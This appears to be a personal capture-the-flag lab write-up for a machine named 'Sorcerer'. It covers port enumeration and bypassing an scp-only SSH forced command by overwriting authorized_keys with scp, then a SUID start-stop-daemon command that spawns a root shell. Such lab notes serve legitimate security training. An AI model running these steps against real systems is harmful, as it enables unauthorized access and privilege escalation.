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Cameron Candau

Sorcerer

System Information
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OS: Linux IP: 192.168.183.100

Service Enumeration
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22/tcp SSH
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OpenSSH 7.9p1 Debian 10+deb10u2

80/tcp HTTP
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111/tcp RPCbind
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2049/tcp NFS
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7742/tcp Service
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nginx

This will always say false?… dead end?

Feroxbuster finds /zipfiles:

Download all.

Initial Access
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cat scp_wrapper.sh 
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "ACCESS DENIED."
    scp
    ;;
esac

.ssh includes a private key.

When trying to connect to the server using it, it seems we’re only allowed to use it for scp.

Can we update max’s authorized keys file to remove everything related to the script, so that we can use it for normal SSH?

no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer

->

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer

scp -i ./id_rsa max_new_authorized_keys max@$IP:/home/max/.ssh/authorized_keys

scp: Received message too long 1094927173
scp: Ensure the remote shell produces no output for non-interactive sessions.

https://unix.stackexchange.com/questions/61580/sftp-gives-an-error-received-message-too-long-and-what-is-the-reason

Solution was using -O to use legacy SCP protocol.

Jump to Privilege Escalation.

8080/tcp HTTP
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37299/tcp Service
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43301/tcp Service
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44355/tcp Service
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45643/tcp Service
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Privilege Escalation
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Find SUID binaries: find / -perm -u=s -type f 2>/dev/null

/usr/sbin/start-stop-daemon stands out.

https://gtfobins.org/gtfobins/start-stop-daemon/#shell

/usr/sbin/start-stop-daemon -S -x /bin/sh -- -p

Proof Screenshots (local.txt / proof.txt)
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type or cat flag and include IP address in screenshot